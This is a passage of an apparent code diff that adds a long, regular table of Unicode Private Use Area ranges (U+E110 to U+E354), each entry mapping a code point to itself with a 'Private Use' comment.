+ ["\uE110", "\uE110"], /* Private Use */
+ ["\uE111", "\uE111"], /* Private Use */
+ ["\uE112", "\uE112"], /* Private Use */
+ ["\uE113", "\uE113"], /* Private Use */
+ ["\uE114", "\uE114"], /* Private Use */
+ ["\uE115", "\uE115"], /* Private Use */
+ ["\uE116", "\uE116"], /* Private Use */
+ ["\uE117", "\uE117"], /* Private Use */
+ ["\uE118", "\uE118"], /* Private Use */
+ ["\uE119", "\uE119"], /* Private Use */
+ ["\uE11A", "\uE11A"], /* Private Use */
+ ["\uE11B", "\uE11B"], /* Private Use */
+ ["\uE11C", "\uE11C"], /* Private Use */
+ ["\uE11D", "\uE11D"], /* Private Use */
+ ["\uE11E", "\uE11E"], /* Private Use */
+ ["\uE11F", "\uE11F"], /* Private Use */
+ ["\uE120", "\uE120"], /* Private Use */
+ ["\uE121", "\uE121"], /* Private Use */
+ ["\uE122", "\uE122"], /* Private Use */
+ ["\uE123", "\uE123"], /* Private Use */
+ ["\uE124", "\uE124"], /* Private Use */
+ ["\uE125", "\uE125"], /* Private Use */
+ ["\uE126", "\uE126"], /* Private Use */
+ ["\uE127", "\uE127"], /* Private Use */
+ ["\uE128", "\uE128"], /* Private Use */
+ ["\uE129", "\uE129"], /* Private Use */
+ ["\uE12A", "\uE12A"], /* Private Use */
+ ["\uE12B", "\uE12B"], /* Private Use */
+ ["\uE12C", "\uE12C"], /* Private Use */
+ ["\uE12D", "\uE12D"], /* Private Use */
+ ["\uE12E", "\uE12E"], /* Private Use */
+ ["\uE12F", "\uE12F"], /* Private Use */
+ ["\uE130", "\uE130"], /* Private Use */
+ ["\uE131", "\uE131"], /* Private Use */
+ ["\uE132", "\uE132"], /* Private Use */
+ ["\uE133", "\uE133"], /* Private Use */
+ ["\uE134", "\uE134"], /* Private Use */
+ ["\uE135", "\uE135"], /* Private Use */
+ ["\uE136", "\uE136"], /* Private Use */
+ ["\uE137", "\uE137"], /* Private Use */
+ ["\uE138", "\uE138"], /* Private Use */
+ ["\uE139", "\uE139"], /* Private Use */
+ ["\uE13A", "\uE13A"], /* Private Use */
+ ["\uE13B", "\uE13B"], /* Private Use */
+ ["\uE13C", "\uE13C"], /* Private Use */
+ ["\uE13D", "\uE13D"], /* Private Use */
+ ["\uE13E", "\uE13E"], /* Private Use */
+ ["\uE13F", "\uE13F"], /* Private Use */
+ ["\uE140", "\uE140"], /* Private Use */
+ ["\uE141", "\uE141"], /* Private Use */
+ ["\uE142", "\uE142"], /* Private Use */
+ ["\uE143", "\uE143"], /* Private Use */
+ ["\uE144", "\uE144"], /* Private Use */
+ ["\uE145", "\uE145"], /* Private Use */
+ ["\uE146", "\uE146"], /* Private Use */
+ ["\uE147", "\uE147"], /* Private Use */
+ ["\uE148", "\uE148"], /* Private Use */
+ ["\uE149", "\uE149"], /* Private Use */
+ ["\uE14A", "\uE14A"], /* Private Use */
+ ["\uE14B", "\uE14B"], /* Private Use */
+ ["\uE14C", "\uE14C"], /* Private Use */
+ ["\uE14D", "\uE14D"], /* Private Use */
+ ["\uE14E", "\uE14E"], /* Private Use */
+ ["\uE14F", "\uE14F"], /* Private Use */
+ ["\uE150", "\uE150"], /* Private Use */
+ ["\uE151", "\uE151"], /* Private Use */
+ ["\uE152", "\uE152"], /* Private Use */
+ ["\uE153", "\uE153"], /* Private Use */
+ ["\uE154", "\uE154"], /* Private Use */
+ ["\uE155", "\uE155"], /* Private Use */
+ ["\uE156", "\uE156"], /* Private Use */
+ ["\uE157", "\uE157"], /* Private Use */
+ ["\uE158", "\uE158"], /* Private Use */
+ ["\uE159", "\uE159"], /* Private Use */
+ ["\uE15A", "\uE15A"], /* Private Use */
+ ["\uE15B", "\uE15B"], /* Private Use */
+ ["\uE15C", "\uE15C"], /* Private Use */
+ ["\uE15D", "\uE15D"], /* Private Use */
+ ["\uE15E", "\uE15E"], /* Private Use */
+ ["\uE15F", "\uE15F"], /* Private Use */
+ ["\uE160", "\uE160"], /* Private Use */
+ ["\uE161", "\uE161"], /* Private Use */
+ ["\uE162", "\uE162"], /* Private Use */
+ ["\uE163", "\uE163"], /* Private Use */
+ ["\uE164", "\uE164"], /* Private Use */
+ ["\uE165", "\uE165"], /* Private Use */
+ ["\uE166", "\uE166"], /* Private Use */
+ ["\uE167", "\uE167"], /* Private Use */
+ ["\uE168", "\uE168"], /* Private Use */
+ ["\uE169", "\uE169"], /* Private Use */
+ ["\uE16A", "\uE16A"], /* Private Use */
+ ["\uE16B", "\uE16B"], /* Private Use */
+ ["\uE16C", "\uE16C"], /* Private Use */
+ ["\uE16D", "\uE16D"], /* Private Use */
+ ["\uE16E", "\uE16E"], /* Private Use */
+ ["\uE16F", "\uE16F"], /* Private Use */
+ ["\uE170", "\uE170"], /* Private Use */
+ ["\uE171", "\uE171"], /* Private Use */
+ ["\uE172", "\uE172"], /* Private Use */
+ ["\uE173", "\uE173"], /* Private Use */
+ ["\uE174", "\uE174"], /* Private Use */
+ ["\uE175", "\uE175"], /* Private Use */
+ ["\uE176", "\uE176"], /* Private Use */
+ ["\uE177", "\uE177"], /* Private Use */
+ ["\uE178", "\uE178"], /* Private Use */
+ ["\uE179", "\uE179"], /* Private Use */
+ ["\uE17A", "\uE17A"], /* Private Use */
+ ["\uE17B", "\uE17B"], /* Private Use */
+ ["\uE17C", "\uE17C"], /* Private Use */
+ ["\uE17D", "\uE17D"], /* Private Use */
+ ["\uE17E", "\uE17E"], /* Private Use */
+ ["\uE17F", "\uE17F"], /* Private Use */
+ ["\uE180", "\uE180"], /* Private Use */
+ ["\uE181", "\uE181"], /* Private Use */
+ ["\uE182", "\uE182"], /* Private Use */
+ ["\uE183", "\uE183"], /* Private Use */
+ ["\uE184", "\uE184"], /* Private Use */
+ ["\uE185", "\uE185"], /* Private Use */
+ ["\uE186", "\uE186"], /* Private Use */
+ ["\uE187", "\uE187"], /* Private Use */
+ ["\uE188", "\uE188"], /* Private Use */
+ ["\uE189", "\uE189"], /* Private Use */
+ ["\uE18A", "\uE18A"], /* Private Use */
+ ["\uE18B", "\uE18B"], /* Private Use */
+ ["\uE18C", "\uE18C"], /* Private Use */
+ ["\uE18D", "\uE18D"], /* Private Use */
+ ["\uE18E", "\uE18E"], /* Private Use */
+ ["\uE18F", "\uE18F"], /* Private Use */
+ ["\uE190", "\uE190"], /* Private Use */
+ ["\uE191", "\uE191"], /* Private Use */
+ ["\uE192", "\uE192"], /* Private Use */
+ ["\uE193", "\uE193"], /* Private Use */
+ ["\uE194", "\uE194"], /* Private Use */
+ ["\uE195", "\uE195"], /* Private Use */
+ ["\uE196", "\uE196"], /* Private Use */
+ ["\uE197", "\uE197"], /* Private Use */
+ ["\uE198", "\uE198"], /* Private Use */
+ ["\uE199", "\uE199"], /* Private Use */
+ ["\uE19A", "\uE19A"], /* Private Use */
+ ["\uE19B", "\uE19B"], /* Private Use */
+ ["\uE19C", "\uE19C"], /* Private Use */
+ ["\uE19D", "\uE19D"], /* Private Use */
+ ["\uE19E", "\uE19E"], /* Private Use */
+ ["\uE19F", "\uE19F"], /* Private Use */
+ ["\uE1A0", "\uE1A0"], /* Private Use */
+ ["\uE1A1", "\uE1A1"], /* Private Use */
+ ["\uE1A2", "\uE1A2"], /* Private Use */
+ ["\uE1A3", "\uE1A3"], /* Private Use */
+ ["\uE1A4", "\uE1A4"], /* Private Use */
+ ["\uE1A5", "\uE1A5"], /* Private Use */
+ ["\uE1A6", "\uE1A6"], /* Private Use */
+ ["\uE1A7", "\uE1A7"], /* Private Use */
+ ["\uE1A8", "\uE1A8"], /* Private Use */
+ ["\uE1A9", "\uE1A9"], /* Private Use */
+ ["\uE1AA", "\uE1AA"], /* Private Use */
+ ["\uE1AB", "\uE1AB"], /* Private Use */
+ ["\uE1AC", "\uE1AC"], /* Private Use */
+ ["\uE1AD", "\uE1AD"], /* Private Use */
+ ["\uE1AE", "\uE1AE"], /* Private Use */
+ ["\uE1AF", "\uE1AF"], /* Private Use */
+ ["\uE1B0", "\uE1B0"], /* Private Use */
+ ["\uE1B1", "\uE1B1"], /* Private Use */
+ ["\uE1B2", "\uE1B2"], /* Private Use */
+ ["\uE1B3", "\uE1B3"], /* Private Use */
+ ["\uE1B4", "\uE1B4"], /* Private Use */
+ ["\uE1B5", "\uE1B5"], /* Private Use */
+ ["\uE1B6", "\uE1B6"], /* Private Use */
+ ["\uE1B7", "\uE1B7"], /* Private Use */
+ ["\uE1B8", "\uE1B8"], /* Private Use */
+ ["\uE1B9", "\uE1B9"], /* Private Use */
+ ["\uE1BA", "\uE1BA"], /* Private Use */
+ ["\uE1BB", "\uE1BB"], /* Private Use */
+ ["\uE1BC", "\uE1BC"], /* Private Use */
+ ["\uE1BD", "\uE1BD"], /* Private Use */
+ ["\uE1BE", "\uE1BE"], /* Private Use */
+ ["\uE1BF", "\uE1BF"], /* Private Use */
+ ["\uE1C0", "\uE1C0"], /* Private Use */
+ ["\uE1C1", "\uE1C1"], /* Private Use */
+ ["\uE1C2", "\uE1C2"], /* Private Use */
+ ["\uE1C3", "\uE1C3"], /* Private Use */
+ ["\uE1C4", "\uE1C4"], /* Private Use */
+ ["\uE1C5", "\uE1C5"], /* Private Use */
+ ["\uE1C6", "\uE1C6"], /* Private Use */
+ ["\uE1C7", "\uE1C7"], /* Private Use */
+ ["\uE1C8", "\uE1C8"], /* Private Use */
+ ["\uE1C9", "\uE1C9"], /* Private Use */
+ ["\uE1CA", "\uE1CA"], /* Private Use */
+ ["\uE1CB", "\uE1CB"], /* Private Use */
+ ["\uE1CC", "\uE1CC"], /* Private Use */
+ ["\uE1CD", "\uE1CD"], /* Private Use */
+ ["\uE1CE", "\uE1CE"], /* Private Use */
+ ["\uE1CF", "\uE1CF"], /* Private Use */
+ ["\uE1D0", "\uE1D0"], /* Private Use */
+ ["\uE1D1", "\uE1D1"], /* Private Use */
+ ["\uE1D2", "\uE1D2"], /* Private Use */
+ ["\uE1D3", "\uE1D3"], /* Private Use */
+ ["\uE1D4", "\uE1D4"], /* Private Use */
+ ["\uE1D5", "\uE1D5"], /* Private Use */
+ ["\uE1D6", "\uE1D6"], /* Private Use */
+ ["\uE1D7", "\uE1D7"], /* Private Use */
+ ["\uE1D8", "\uE1D8"], /* Private Use */
+ ["\uE1D9", "\uE1D9"], /* Private Use */
+ ["\uE1DA", "\uE1DA"], /* Private Use */
+ ["\uE1DB", "\uE1DB"], /* Private Use */
+ ["\uE1DC", "\uE1DC"], /* Private Use */
+ ["\uE1DD", "\uE1DD"], /* Private Use */
+ ["\uE1DE", "\uE1DE"], /* Private Use */
+ ["\uE1DF", "\uE1DF"], /* Private Use */
+ ["\uE1E0", "\uE1E0"], /* Private Use */
+ ["\uE1E1", "\uE1E1"], /* Private Use */
+ ["\uE1E2", "\uE1E2"], /* Private Use */
+ ["\uE1E3", "\uE1E3"], /* Private Use */
+ ["\uE1E4", "\uE1E4"], /* Private Use */
+ ["\uE1E5", "\uE1E5"], /* Private Use */
+ ["\uE1E6", "\uE1E6"], /* Private Use */
+ ["\uE1E7", "\uE1E7"], /* Private Use */
+ ["\uE1E8", "\uE1E8"], /* Private Use */
+ ["\uE1E9", "\uE1E9"], /* Private Use */
+ ["\uE1EA", "\uE1EA"], /* Private Use */
+ ["\uE1EB", "\uE1EB"], /* Private Use */
+ ["\uE1EC", "\uE1EC"], /* Private Use */
+ ["\uE1ED", "\uE1ED"], /* Private Use */
+ ["\uE1EE", "\uE1EE"], /* Private Use */
+ ["\uE1EF", "\uE1EF"], /* Private Use */
+ ["\uE1F0", "\uE1F0"], /* Private Use */
+ ["\uE1F1", "\uE1F1"], /* Private Use */
+ ["\uE1F2", "\uE1F2"], /* Private Use */
+ ["\uE1F3", "\uE1F3"], /* Private Use */
+ ["\uE1F4", "\uE1F4"], /* Private Use */
+ ["\uE1F5", "\uE1F5"], /* Private Use */
+ ["\uE1F6", "\uE1F6"], /* Private Use */
+ ["\uE1F7", "\uE1F7"], /* Private Use */
+ ["\uE1F8", "\uE1F8"], /* Private Use */
+ ["\uE1F9", "\uE1F9"], /* Private Use */
+ ["\uE1FA", "\uE1FA"], /* Private Use */
+ ["\uE1FB", "\uE1FB"], /* Private Use */
+ ["\uE1FC", "\uE1FC"], /* Private Use */
+ ["\uE1FD", "\uE1FD"], /* Private Use */
+ ["\uE1FE", "\uE1FE"], /* Private Use */
+ ["\uE1FF", "\uE1FF"], /* Private Use */
+ ["\uE200", "\uE200"], /* Private Use */
+ ["\uE201", "\uE201"], /* Private Use */
+ ["\uE202", "\uE202"], /* Private Use */
+ ["\uE203", "\uE203"], /* Private Use */
+ ["\uE204", "\uE204"], /* Private Use */
+ ["\uE205", "\uE205"], /* Private Use */
+ ["\uE206", "\uE206"], /* Private Use */
+ ["\uE207", "\uE207"], /* Private Use */
+ ["\uE208", "\uE208"], /* Private Use */
+ ["\uE209", "\uE209"], /* Private Use */
+ ["\uE20A", "\uE20A"], /* Private Use */
+ ["\uE20B", "\uE20B"], /* Private Use */
+ ["\uE20C", "\uE20C"], /* Private Use */
+ ["\uE20D", "\uE20D"], /* Private Use */
+ ["\uE20E", "\uE20E"], /* Private Use */
+ ["\uE20F", "\uE20F"], /* Private Use */
+ ["\uE210", "\uE210"], /* Private Use */
+ ["\uE211", "\uE211"], /* Private Use */
+ ["\uE212", "\uE212"], /* Private Use */
+ ["\uE213", "\uE213"], /* Private Use */
+ ["\uE214", "\uE214"], /* Private Use */
+ ["\uE215", "\uE215"], /* Private Use */
+ ["\uE216", "\uE216"], /* Private Use */
+ ["\uE217", "\uE217"], /* Private Use */
+ ["\uE218", "\uE218"], /* Private Use */
+ ["\uE219", "\uE219"], /* Private Use */
+ ["\uE21A", "\uE21A"], /* Private Use */
+ ["\uE21B", "\uE21B"], /* Private Use */
+ ["\uE21C", "\uE21C"], /* Private Use */
+ ["\uE21D", "\uE21D"], /* Private Use */
+ ["\uE21E", "\uE21E"], /* Private Use */
+ ["\uE21F", "\uE21F"], /* Private Use */
+ ["\uE220", "\uE220"], /* Private Use */
+ ["\uE221", "\uE221"], /* Private Use */
+ ["\uE222", "\uE222"], /* Private Use */
+ ["\uE223", "\uE223"], /* Private Use */
+ ["\uE224", "\uE224"], /* Private Use */
+ ["\uE225", "\uE225"], /* Private Use */
+ ["\uE226", "\uE226"], /* Private Use */
+ ["\uE227", "\uE227"], /* Private Use */
+ ["\uE228", "\uE228"], /* Private Use */
+ ["\uE229", "\uE229"], /* Private Use */
+ ["\uE22A", "\uE22A"], /* Private Use */
+ ["\uE22B", "\uE22B"], /* Private Use */
+ ["\uE22C", "\uE22C"], /* Private Use */
+ ["\uE22D", "\uE22D"], /* Private Use */
+ ["\uE22E", "\uE22E"], /* Private Use */
+ ["\uE22F", "\uE22F"], /* Private Use */
+ ["\uE230", "\uE230"], /* Private Use */
+ ["\uE231", "\uE231"], /* Private Use */
+ ["\uE232", "\uE232"], /* Private Use */
+ ["\uE233", "\uE233"], /* Private Use */
+ ["\uE234", "\uE234"], /* Private Use */
+ ["\uE235", "\uE235"], /* Private Use */
+ ["\uE236", "\uE236"], /* Private Use */
+ ["\uE237", "\uE237"], /* Private Use */
+ ["\uE238", "\uE238"], /* Private Use */
+ ["\uE239", "\uE239"], /* Private Use */
+ ["\uE23A", "\uE23A"], /* Private Use */
+ ["\uE23B", "\uE23B"], /* Private Use */
+ ["\uE23C", "\uE23C"], /* Private Use */
+ ["\uE23D", "\uE23D"], /* Private Use */
+ ["\uE23E", "\uE23E"], /* Private Use */
+ ["\uE23F", "\uE23F"], /* Private Use */
+ ["\uE240", "\uE240"], /* Private Use */
+ ["\uE241", "\uE241"], /* Private Use */
+ ["\uE242", "\uE242"], /* Private Use */
+ ["\uE243", "\uE243"], /* Private Use */
+ ["\uE244", "\uE244"], /* Private Use */
+ ["\uE245", "\uE245"], /* Private Use */
+ ["\uE246", "\uE246"], /* Private Use */
+ ["\uE247", "\uE247"], /* Private Use */
+ ["\uE248", "\uE248"], /* Private Use */
+ ["\uE249", "\uE249"], /* Private Use */
+ ["\uE24A", "\uE24A"], /* Private Use */
+ ["\uE24B", "\uE24B"], /* Private Use */
+ ["\uE24C", "\uE24C"], /* Private Use */
+ ["\uE24D", "\uE24D"], /* Private Use */
+ ["\uE24E", "\uE24E"], /* Private Use */
+ ["\uE24F", "\uE24F"], /* Private Use */
+ ["\uE250", "\uE250"], /* Private Use */
+ ["\uE251", "\uE251"], /* Private Use */
+ ["\uE252", "\uE252"], /* Private Use */
+ ["\uE253", "\uE253"], /* Private Use */
+ ["\uE254", "\uE254"], /* Private Use */
+ ["\uE255", "\uE255"], /* Private Use */
+ ["\uE256", "\uE256"], /* Private Use */
+ ["\uE257", "\uE257"], /* Private Use */
+ ["\uE258", "\uE258"], /* Private Use */
+ ["\uE259", "\uE259"], /* Private Use */
+ ["\uE25A", "\uE25A"], /* Private Use */
+ ["\uE25B", "\uE25B"], /* Private Use */
+ ["\uE25C", "\uE25C"], /* Private Use */
+ ["\uE25D", "\uE25D"], /* Private Use */
+ ["\uE25E", "\uE25E"], /* Private Use */
+ ["\uE25F", "\uE25F"], /* Private Use */
+ ["\uE260", "\uE260"], /* Private Use */
+ ["\uE261", "\uE261"], /* Private Use */
+ ["\uE262", "\uE262"], /* Private Use */
+ ["\uE263", "\uE263"], /* Private Use */
+ ["\uE264", "\uE264"], /* Private Use */
+ ["\uE265", "\uE265"], /* Private Use */
+ ["\uE266", "\uE266"], /* Private Use */
+ ["\uE267", "\uE267"], /* Private Use */
+ ["\uE268", "\uE268"], /* Private Use */
+ ["\uE269", "\uE269"], /* Private Use */
+ ["\uE26A", "\uE26A"], /* Private Use */
+ ["\uE26B", "\uE26B"], /* Private Use */
+ ["\uE26C", "\uE26C"], /* Private Use */
+ ["\uE26D", "\uE26D"], /* Private Use */
+ ["\uE26E", "\uE26E"], /* Private Use */
+ ["\uE26F", "\uE26F"], /* Private Use */
+ ["\uE270", "\uE270"], /* Private Use */
+ ["\uE271", "\uE271"], /* Private Use */
+ ["\uE272", "\uE272"], /* Private Use */
+ ["\uE273", "\uE273"], /* Private Use */
+ ["\uE274", "\uE274"], /* Private Use */
+ ["\uE275", "\uE275"], /* Private Use */
+ ["\uE276", "\uE276"], /* Private Use */
+ ["\uE277", "\uE277"], /* Private Use */
+ ["\uE278", "\uE278"], /* Private Use */
+ ["\uE279", "\uE279"], /* Private Use */
+ ["\uE27A", "\uE27A"], /* Private Use */
+ ["\uE27B", "\uE27B"], /* Private Use */
+ ["\uE27C", "\uE27C"], /* Private Use */
+ ["\uE27D", "\uE27D"], /* Private Use */
+ ["\uE27E", "\uE27E"], /* Private Use */
+ ["\uE27F", "\uE27F"], /* Private Use */
+ ["\uE280", "\uE280"], /* Private Use */
+ ["\uE281", "\uE281"], /* Private Use */
+ ["\uE282", "\uE282"], /* Private Use */
+ ["\uE283", "\uE283"], /* Private Use */
+ ["\uE284", "\uE284"], /* Private Use */
+ ["\uE285", "\uE285"], /* Private Use */
+ ["\uE286", "\uE286"], /* Private Use */
+ ["\uE287", "\uE287"], /* Private Use */
+ ["\uE288", "\uE288"], /* Private Use */
+ ["\uE289", "\uE289"], /* Private Use */
+ ["\uE28A", "\uE28A"], /* Private Use */
+ ["\uE28B", "\uE28B"], /* Private Use */
+ ["\uE28C", "\uE28C"], /* Private Use */
+ ["\uE28D", "\uE28D"], /* Private Use */
+ ["\uE28E", "\uE28E"], /* Private Use */
+ ["\uE28F", "\uE28F"], /* Private Use */
+ ["\uE290", "\uE290"], /* Private Use */
+ ["\uE291", "\uE291"], /* Private Use */
+ ["\uE292", "\uE292"], /* Private Use */
+ ["\uE293", "\uE293"], /* Private Use */
+ ["\uE294", "\uE294"], /* Private Use */
+ ["\uE295", "\uE295"], /* Private Use */
+ ["\uE296", "\uE296"], /* Private Use */
+ ["\uE297", "\uE297"], /* Private Use */
+ ["\uE298", "\uE298"], /* Private Use */
+ ["\uE299", "\uE299"], /* Private Use */
+ ["\uE29A", "\uE29A"], /* Private Use */
+ ["\uE29B", "\uE29B"], /* Private Use */
+ ["\uE29C", "\uE29C"], /* Private Use */
+ ["\uE29D", "\uE29D"], /* Private Use */
+ ["\uE29E", "\uE29E"], /* Private Use */
+ ["\uE29F", "\uE29F"], /* Private Use */
+ ["\uE2A0", "\uE2A0"], /* Private Use */
+ ["\uE2A1", "\uE2A1"], /* Private Use */
+ ["\uE2A2", "\uE2A2"], /* Private Use */
+ ["\uE2A3", "\uE2A3"], /* Private Use */
+ ["\uE2A4", "\uE2A4"], /* Private Use */
+ ["\uE2A5", "\uE2A5"], /* Private Use */
+ ["\uE2A6", "\uE2A6"], /* Private Use */
+ ["\uE2A7", "\uE2A7"], /* Private Use */
+ ["\uE2A8", "\uE2A8"], /* Private Use */
+ ["\uE2A9", "\uE2A9"], /* Private Use */
+ ["\uE2AA", "\uE2AA"], /* Private Use */
+ ["\uE2AB", "\uE2AB"], /* Private Use */
+ ["\uE2AC", "\uE2AC"], /* Private Use */
+ ["\uE2AD", "\uE2AD"], /* Private Use */
+ ["\uE2AE", "\uE2AE"], /* Private Use */
+ ["\uE2AF", "\uE2AF"], /* Private Use */
+ ["\uE2B0", "\uE2B0"], /* Private Use */
+ ["\uE2B1", "\uE2B1"], /* Private Use */
+ ["\uE2B2", "\uE2B2"], /* Private Use */
+ ["\uE2B3", "\uE2B3"], /* Private Use */
+ ["\uE2B4", "\uE2B4"], /* Private Use */
+ ["\uE2B5", "\uE2B5"], /* Private Use */
+ ["\uE2B6", "\uE2B6"], /* Private Use */
+ ["\uE2B7", "\uE2B7"], /* Private Use */
+ ["\uE2B8", "\uE2B8"], /* Private Use */
+ ["\uE2B9", "\uE2B9"], /* Private Use */
+ ["\uE2BA", "\uE2BA"], /* Private Use */
+ ["\uE2BB", "\uE2BB"], /* Private Use */
+ ["\uE2BC", "\uE2BC"], /* Private Use */
+ ["\uE2BD", "\uE2BD"], /* Private Use */
+ ["\uE2BE", "\uE2BE"], /* Private Use */
+ ["\uE2BF", "\uE2BF"], /* Private Use */
+ ["\uE2C0", "\uE2C0"], /* Private Use */
+ ["\uE2C1", "\uE2C1"], /* Private Use */
+ ["\uE2C2", "\uE2C2"], /* Private Use */
+ ["\uE2C3", "\uE2C3"], /* Private Use */
+ ["\uE2C4", "\uE2C4"], /* Private Use */
+ ["\uE2C5", "\uE2C5"], /* Private Use */
+ ["\uE2C6", "\uE2C6"], /* Private Use */
+ ["\uE2C7", "\uE2C7"], /* Private Use */
+ ["\uE2C8", "\uE2C8"], /* Private Use */
+ ["\uE2C9", "\uE2C9"], /* Private Use */
+ ["\uE2CA", "\uE2CA"], /* Private Use */
+ ["\uE2CB", "\uE2CB"], /* Private Use */
+ ["\uE2CC", "\uE2CC"], /* Private Use */
+ ["\uE2CD", "\uE2CD"], /* Private Use */
+ ["\uE2CE", "\uE2CE"], /* Private Use */
+ ["\uE2CF", "\uE2CF"], /* Private Use */
+ ["\uE2D0", "\uE2D0"], /* Private Use */
+ ["\uE2D1", "\uE2D1"], /* Private Use */
+ ["\uE2D2", "\uE2D2"], /* Private Use */
+ ["\uE2D3", "\uE2D3"], /* Private Use */
+ ["\uE2D4", "\uE2D4"], /* Private Use */
+ ["\uE2D5", "\uE2D5"], /* Private Use */
+ ["\uE2D6", "\uE2D6"], /* Private Use */
+ ["\uE2D7", "\uE2D7"], /* Private Use */
+ ["\uE2D8", "\uE2D8"], /* Private Use */
+ ["\uE2D9", "\uE2D9"], /* Private Use */
+ ["\uE2DA", "\uE2DA"], /* Private Use */
+ ["\uE2DB", "\uE2DB"], /* Private Use */
+ ["\uE2DC", "\uE2DC"], /* Private Use */
+ ["\uE2DD", "\uE2DD"], /* Private Use */
+ ["\uE2DE", "\uE2DE"], /* Private Use */
+ ["\uE2DF", "\uE2DF"], /* Private Use */
+ ["\uE2E0", "\uE2E0"], /* Private Use */
+ ["\uE2E1", "\uE2E1"], /* Private Use */
+ ["\uE2E2", "\uE2E2"], /* Private Use */
+ ["\uE2E3", "\uE2E3"], /* Private Use */
+ ["\uE2E4", "\uE2E4"], /* Private Use */
+ ["\uE2E5", "\uE2E5"], /* Private Use */
+ ["\uE2E6", "\uE2E6"], /* Private Use */
+ ["\uE2E7", "\uE2E7"], /* Private Use */
+ ["\uE2E8", "\uE2E8"], /* Private Use */
+ ["\uE2E9", "\uE2E9"], /* Private Use */
+ ["\uE2EA", "\uE2EA"], /* Private Use */
+ ["\uE2EB", "\uE2EB"], /* Private Use */
+ ["\uE2EC", "\uE2EC"], /* Private Use */
+ ["\uE2ED", "\uE2ED"], /* Private Use */
+ ["\uE2EE", "\uE2EE"], /* Private Use */
+ ["\uE2EF", "\uE2EF"], /* Private Use */
+ ["\uE2F0", "\uE2F0"], /* Private Use */
+ ["\uE2F1", "\uE2F1"], /* Private Use */
+ ["\uE2F2", "\uE2F2"], /* Private Use */
+ ["\uE2F3", "\uE2F3"], /* Private Use */
+ ["\uE2F4", "\uE2F4"], /* Private Use */
+ ["\uE2F5", "\uE2F5"], /* Private Use */
+ ["\uE2F6", "\uE2F6"], /* Private Use */
+ ["\uE2F7", "\uE2F7"], /* Private Use */
+ ["\uE2F8", "\uE2F8"], /* Private Use */
+ ["\uE2F9", "\uE2F9"], /* Private Use */
+ ["\uE2FA", "\uE2FA"], /* Private Use */
+ ["\uE2FB", "\uE2FB"], /* Private Use */
+ ["\uE2FC", "\uE2FC"], /* Private Use */
+ ["\uE2FD", "\uE2FD"], /* Private Use */
+ ["\uE2FE", "\uE2FE"], /* Private Use */
+ ["\uE2FF", "\uE2FF"], /* Private Use */
+ ["\uE300", "\uE300"], /* Private Use */
+ ["\uE301", "\uE301"], /* Private Use */
+ ["\uE302", "\uE302"], /* Private Use */
+ ["\uE303", "\uE303"], /* Private Use */
+ ["\uE304", "\uE304"], /* Private Use */
+ ["\uE305", "\uE305"], /* Private Use */
+ ["\uE306", "\uE306"], /* Private Use */
+ ["\uE307", "\uE307"], /* Private Use */
+ ["\uE308", "\uE308"], /* Private Use */
+ ["\uE309", "\uE309"], /* Private Use */
+ ["\uE30A", "\uE30A"], /* Private Use */
+ ["\uE30B", "\uE30B"], /* Private Use */
+ ["\uE30C", "\uE30C"], /* Private Use */
+ ["\uE30D", "\uE30D"], /* Private Use */
+ ["\uE30E", "\uE30E"], /* Private Use */
+ ["\uE30F", "\uE30F"], /* Private Use */
+ ["\uE310", "\uE310"], /* Private Use */
+ ["\uE311", "\uE311"], /* Private Use */
+ ["\uE312", "\uE312"], /* Private Use */
+ ["\uE313", "\uE313"], /* Private Use */
+ ["\uE314", "\uE314"], /* Private Use */
+ ["\uE315", "\uE315"], /* Private Use */
+ ["\uE316", "\uE316"], /* Private Use */
+ ["\uE317", "\uE317"], /* Private Use */
+ ["\uE318", "\uE318"], /* Private Use */
+ ["\uE319", "\uE319"], /* Private Use */
+ ["\uE31A", "\uE31A"], /* Private Use */
+ ["\uE31B", "\uE31B"], /* Private Use */
+ ["\uE31C", "\uE31C"], /* Private Use */
+ ["\uE31D", "\uE31D"], /* Private Use */
+ ["\uE31E", "\uE31E"], /* Private Use */
+ ["\uE31F", "\uE31F"], /* Private Use */
+ ["\uE320", "\uE320"], /* Private Use */
+ ["\uE321", "\uE321"], /* Private Use */
+ ["\uE322", "\uE322"], /* Private Use */
+ ["\uE323", "\uE323"], /* Private Use */
+ ["\uE324", "\uE324"], /* Private Use */
+ ["\uE325", "\uE325"], /* Private Use */
+ ["\uE326", "\uE326"], /* Private Use */
+ ["\uE327", "\uE327"], /* Private Use */
+ ["\uE328", "\uE328"], /* Private Use */
+ ["\uE329", "\uE329"], /* Private Use */
+ ["\uE32A", "\uE32A"], /* Private Use */
+ ["\uE32B", "\uE32B"], /* Private Use */
+ ["\uE32C", "\uE32C"], /* Private Use */
+ ["\uE32D", "\uE32D"], /* Private Use */
+ ["\uE32E", "\uE32E"], /* Private Use */
+ ["\uE32F", "\uE32F"], /* Private Use */
+ ["\uE330", "\uE330"], /* Private Use */
+ ["\uE331", "\uE331"], /* Private Use */
+ ["\uE332", "\uE332"], /* Private Use */
+ ["\uE333", "\uE333"], /* Private Use */
+ ["\uE334", "\uE334"], /* Private Use */
+ ["\uE335", "\uE335"], /* Private Use */
+ ["\uE336", "\uE336"], /* Private Use */
+ ["\uE337", "\uE337"], /* Private Use */
+ ["\uE338", "\uE338"], /* Private Use */
+ ["\uE339", "\uE339"], /* Private Use */
+ ["\uE33A", "\uE33A"], /* Private Use */
+ ["\uE33B", "\uE33B"], /* Private Use */
+ ["\uE33C", "\uE33C"], /* Private Use */
+ ["\uE33D", "\uE33D"], /* Private Use */
+ ["\uE33E", "\uE33E"], /* Private Use */
+ ["\uE33F", "\uE33F"], /* Private Use */
+ ["\uE340", "\uE340"], /* Private Use */
+ ["\uE341", "\uE341"], /* Private Use */
+ ["\uE342", "\uE342"], /* Private Use */
+ ["\uE343", "\uE343"], /* Private Use */
+ ["\uE344", "\uE344"], /* Private Use */
+ ["\uE345", "\uE345"], /* Private Use */
+ ["\uE346", "\uE346"], /* Private Use */
+ ["\uE347", "\uE347"], /* Private Use */
+ ["\uE348", "\uE348"], /* Private Use */
+ ["\uE349", "\uE349"], /* Private Use */
+ ["\uE34A", "\uE34A"], /* Private Use */
+ ["\uE34B", "\uE34B"], /* Private Use */
+ ["\uE34C", "\uE34C"], /* Private Use */
+ ["\uE34D", "\uE34D"], /* Private Use */
+ ["\uE34E", "\uE34E"], /* Private Use */
+ ["\uE34F", "\uE34F"], /* Private Use */
+ ["\uE350", "\uE350"], /* Private Use */
+ ["\uE351", "\uE351"], /* Private Use */
+ ["\uE352", "\uE352"], /* Private Use */
+ ["\uE353", "\uE353"], /* Private Use */
+ ["\uE354", "\uE354"], /* Private Use */
